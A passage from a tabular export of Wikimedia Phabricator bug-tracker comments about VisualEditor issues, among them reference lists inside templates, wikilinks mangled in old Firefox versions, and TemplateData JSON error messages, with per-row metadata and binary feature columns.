+So, if <references/> directly on the page are supposed to work (they're updated on edit) but when they're inside a template not, it should be possible to make parsoid tag the template with a special property so only that template region gets updated (or the references list) and not the entire page. Note that I'm speaking without knowledge about how the entire thing works.",,,1467209234,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,156,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+233952,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"So to clarify, it is a known bug that adding references will display the updated reference list when the <references /> tag is used in the article, but not when the {{reflist}} template is used?",,,1405248457,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,53,,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+233943,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,*** Bug 51607 has been marked as a duplicate of this bug. ***,,,1374167787,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+233936,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"(In reply to comment #0)
+> What it says on the tin; the addition of a reference is not reflected in an
+> update to {{reflist}} or <references/> or whathaveyou.
+
+I can't replicate the bug as described, but re-purposing to be about our desire to update fake reference lists inside templates on edit, rather than the current unhelpful not-updated-'til-page-save issue.
+
+Note that we can't currently see a way to do this without round-tripping the entire page, which would be a sub-optimal solution, to put it mildly.",,,1373163815,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+52745,VisualEditor: Editing tool to changing case,"A user has requested a tool to alter the case of text that has been typed. Marking as lowest priority, since we've made clear it's not something anyone is likely to work on any time soon.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T55210}
+{T52678}
+{T55495}
+{T52452}",Lowest,10.0,1372943460,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-w4y2nb4727kwbhfjqdup,task_description,open,True,c1,3,False,False,,0,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+1907394,VisualEditor: Editing tool to changing case,https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2022/Editing/Case_conversion,,,1651251693,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-w4y2nb4727kwbhfjqdup,task_subcomment,,True,c1,3,True,,,460,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+52720,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Occasionally wiki links are being mangled adding ./ to the start and replacing spaces with underscores. For example replacing [[specific name (zoology)|specific epithet]] with [[./Specific_name_(zoology)|specific epithet]]. I've only noticed it with piped links.
+
+Examples
+
+https://en.wikipedia.org/w/index.php?title=Austropotamobius_pallipes&curid=3945333&diff=562783871&oldid=545518009
+https://en.wikipedia.org/w/index.php?title=Ron_Davies_(songwriter)&curid=31118393&diff=562723238&oldid=553701771
+https://en.wikipedia.org/w/index.php?title=Sibling_relationship&curid=22409572&diff=562636237&oldid=561958868
+https://en.wikipedia.org/w/index.php?title=Double_Rainbow_(viral_video)&curid=28129724&diff=562626607&oldid=560477885
+https://en.wikipedia.org/w/index.php?title=Roger_Mompesson&curid=39389398&diff=562625481&oldid=560045122 (also changed a category link)
+
+possibly related to bug 50428
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50539
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48769",Lowest,10.0,1372919760,1464692505.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-tyu752voayr4g6elcmgx,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+671393,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Can no longer reproduce the test case given by Erik in FF13/14. Edited the link directly to avoid SelSer.
+
+https://en.wikipedia.org/wiki/HELLP_syndrome?veaction=edit&vewhitelist=1
+
+{F4089820}",,,1464692505,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,152,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+637784,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",">>! In T52720#2164275, @Schnark wrote:
+> Should this task just be closed? I don't think anyone is going to put work into supporting  these really old Firefox versions.
+
+I've been keeping this open as we //would// accept any patch doing this. Yes, there are relatively very few users, but it's not great to leave these users without an editor over something that's effectively trivial.",,,1459413492,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,143,,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+637782,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",Should this task just be closed? I don't think anyone is going to put work into supporting  these really old Firefox versions.,,,1459413067,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,143,,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+230977,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Just wondering, has anybody tested VE on those old Firefoxes somewhat recently? The codebase is changing so fast this might as well be magically fixed now.",,,1379263769,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,10,,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+230969,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","(In reply to comment #11)
+> I think you viewed this bug solely as a blocker to bug 50848. I agree that it
+> no longer is, but I don't believe this bug is now resolved/fixed. The issue
+> hasn't been fixed, as I understand it, just worked around. I'm re-opening the
+> bug, but removing bug 50848 as a blocker, lowering the importance fields, and
+> clarifying the bug summary.
+
+Well, had you given me more than 30 seconds I was in the middle of creating a new bug, but never mind. :-) Repurposing this one.",,,1373502359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,1
+230960,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","I think you viewed this bug solely as a blocker to bug 50848. I agree that it no longer is, but I don't believe this bug is now resolved/fixed. The issue hasn't been fixed, as I understand it, just worked around. I'm re-opening the bug, but removing bug 50848 as a blocker, lowering the importance fields, and clarifying the bug summary.",,,1373502220,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+230949,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","We believe that this should not recur due to the (hopefully-temporary) blacklisting of Firefox 13 and 14, which is now live in production. Consequently, I'm marking this bug as fixed. Please re-open if you find it happening again.",,,1373501510,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+230940,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Change 72675 merged by jenkins-bot:
+Blacklist Firefox 13 and 14 too
+
+https://gerrit.wikimedia.org/r/72675",,,1373334336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+230932,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Change 72675 had a related patch set uploaded by Jforrester:
+Blacklist Firefox 13 and 14 too
+
+https://gerrit.wikimedia.org/r/72675",,,1373332958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+230927,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",Can reproduce in Firefox 13 and 14; cannot reproduce in 15 or 17 or 20. Interestingly in Firefox 13 I get a little bit more normalization in the diff as well. Looks like we get more progressively more broken the further down we go. :P,,,1373135486,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+230923,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Confirmed in Firefox 14. Steps to reproduce:
+
+1) Open https://en.wikipedia.org/wiki/HELLP_syndrome?veaction=edit as a logged in user
+
+2) Make an unrelated edit
+
+3) Press ""Save"" and ""Review your changes"".
+
+The link [[Right upper quadrant (abdomen)|right upper quadrant]] is transformed to [[./Right_upper_quadrant_(abdomen)|right upper quadrant]].",,,1373134893,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+230918,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","According to https://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07#VE_zerschie.C3.9Ft_Kats_und_Wikilinks this seems to be an issue in old Firefox: FF14 inserted the ./, while FF22 didn't.",,,1373097754,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+230914,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","I think it might be to do with having punctuation in the links in this edit
+https://en.wikipedia.org/w/index.php?title=Soccer_in_the_United_States&diff=prev&oldid=563041224
+this the links which have ' or ( in them which get mangled other links are ok so
+[[United States men's national soccer team|men's national team]] gets changed to 
+ [[./United_States_men's_national_soccer_team|men's national team]] but [[FIFA World Cup|World Cup]] is unchanged. And [[National Professional Soccer League (1967)|National Professional Soccer League]] is changed to [[./National_Professional_Soccer_League_(1967)|National Professional Soccer League]].",,,1373089586,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1
+230911,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","(In reply to comment #1)
+> Escalating priority. Additional example:
+> 
+> https://en.wikipedia.org/w/index.
+> php?title=OMICS_Publishing_Group&curid=35277259&diff=562944992&oldid=56157968
+> 0
+I can't reproduce this, and can in fact edit the page just fine: https://en.wikipedia.org/w/index.php?title=OMICS_Publishing_Group&diff=563024944&oldid=562947045
+
+This bug must have some particularly nasty cache persistence properties; we've purged the Parsoid caches but that doesn't seem to have made it go away.",,,1373059132,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+230906,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",*** Bug 50539 has been marked as a duplicate of this bug. ***,,,1373020641,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+230900,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Escalating priority. Additional example:
+
+https://en.wikipedia.org/w/index.php?title=OMICS_Publishing_Group&curid=35277259&diff=562944992&oldid=561579680",,,1373011178,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+52511,TemplateData: Get better error messages for JSON syntax errors,"Enhancement request for more informative error messages - as simple as ""Syntax error in JSON on line foo."" would be better than the current message, which is just ""Syntax error in JSON.""
+
+| {F34099979} | {F34099994}",Lowest,10.0,1372704060,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_description,open,True,c1,3,False,False,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0
+1824686,TemplateData: Get better error messages for JSON syntax errors,"While I agree this is a valid feature request, I'm afraid there isn't much we can do at this point. I tried to annotate the generic error message with what `json_last_error_msg()` reports. All it says is ""Syntax error"". 😞 We would need to use another JSON parser to fulfill this feature request. That's unlikely to happen.",,,1638173623,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,False,,,439,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+1662736,TemplateData: Get better error messages for JSON syntax errors,"This is not the same issue as T256574.
+
+
+T256574 is about the error message when clicking the ""Manage TemplateData"" button to open the ""Template documentation editor"" dialog:
+| {F34099977} | {F34099996}
+
+This is about the error message when clicking ""Publish changes"": (currently this error doesn't appear at all, that's yet another separate issue filed as T258790)
+| {F34099979} | {F34099994}",,,1612991707,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,397,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+243551,TemplateData: Get better error messages for JSON syntax errors,"(In reply to comment #2)
+> Presumably this could be done if bug 50169 was implemented, though. :-)
+
+Well, in case of bug 50169 (VisualEditor plugin for TemplateData) there would never be a syntax error in the JSON because the user wouldn't be editing it directly. They'd be using a form-like interface to interact with it (VE would generate the JSON which is always valid).
+
+However if the VE plugin would have a raw mode to edit the JSON (e.g. using an Ace surface like Extension:CodeEditor does), we could use its JSHint integration to get inline errors by line/char highlighting (e.g. like in Sublime).",,,1381079222,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+243547,TemplateData: Get better error messages for JSON syntax errors,"For the moment, you can use TemplateDataEditor to be able to create the <templatedata/> without editing any real JSON.
+
+http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor",,,1374506154,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+243542,TemplateData: Get better error messages for JSON syntax errors,"**weskaggs** wrote:
+
+Displaying the contents of the line at which an error is detected, with a few lines around it for context, would be almost as useful as a line number.  Of course the actual error can be a long way off from the point at which a syntax error is detected, but the information would still be helpful.  Adding information about the type of error would make it even better.  Really any information at all about the nature of the error would be an improvement.",,,1372774985,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+243537,TemplateData: Get better error messages for JSON syntax errors,"Presumably this could be done if bug 50169 was implemented, though. :-)",,,1372734893,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+243532,TemplateData: Get better error messages for JSON syntax errors,"It is in my opinion not feasible to get line numbers because we use a native PHP extension to parse the JSON.
+
+If the JSON syntax itself is invalid, there is nothing we can do. Best case scenario the parser gives the type of error (""Unexpected comma"", ""Expected closing curly brace"" etc.) but a line number is unlikely.
+
+Once the JSON is parsed, the TemplateData validation itself (e.g. sets referring to existing parameters) we have full control over and gives pretty informative errors with the full path to the property.
+
+> Unexpected property ""params.user.blabla"".
+> Property ""params.timestamp.description"" is expected to be of type ""string|object"".
+
+etc.",,,1372711992,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1
+52405,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"Until a recent MediaWiki change the default behavior of edit section links was to float to the far side of the heading (right on LTR Wikis, assume this case in the following).
+
+This was changed recently but almost all Wikis provide Gadgets to restore the old behavior (see http://en.wikipedia.org/wiki/MediaWiki:Gadget-righteditlinks.css or http://de.wikipedia.org/wiki/MediaWiki:Gadget-editsection-align-end.css for examples)
+
+The problem is, that the VisualEditor's fly-out-links reserve space to the right for the ""edit source"" link. Therefore when aligning the links right they actually appear with a large distance to the page-margin. The fly-outs should therefore be modified to not reserve any space so the ""edit"" link is correctly aligned right.
+
+To prevent the fly-outs to shift the whole ""edit"" link left as soon as they become visible they could be changed to fly-out to the left in this case or to the bottom.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1372460880,1663958347.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-wxztsvwizvyvhpvx2lty,task_description,resolved,True,c1,2,False,False,False,-1,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+1988942,VisualEditor: Come up with a solution of section edit links' placement when they are floated right (due to a gadget),"This task refers to a short-lived VE feature, where instead of the dual ""edit"" and ""edit source"" section edit links we all know and love today, it only displayed one of the links, and the second one would appear (""fly-out"") when the links were hovered with the mouse. It was so short-lived that I can't even find any screenshots of it; it was implemented in [[https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/69984|change 69984]] (Jun 26, 2013) and then removed in [[https://gerrit.wikimedia.org/r/c/mediawiki/extensions/VisualEditor/+/77165|change 77165]] (Aug 02, 2013). This task was filed on Jun 29.
+
+No solution is needed any more since we started showing both links, and this probably should have been closed in 2013!",,,1663958347,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wxztsvwizvyvhpvx2lty,task_subcomment,,True,c1,3,True,,,481,,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
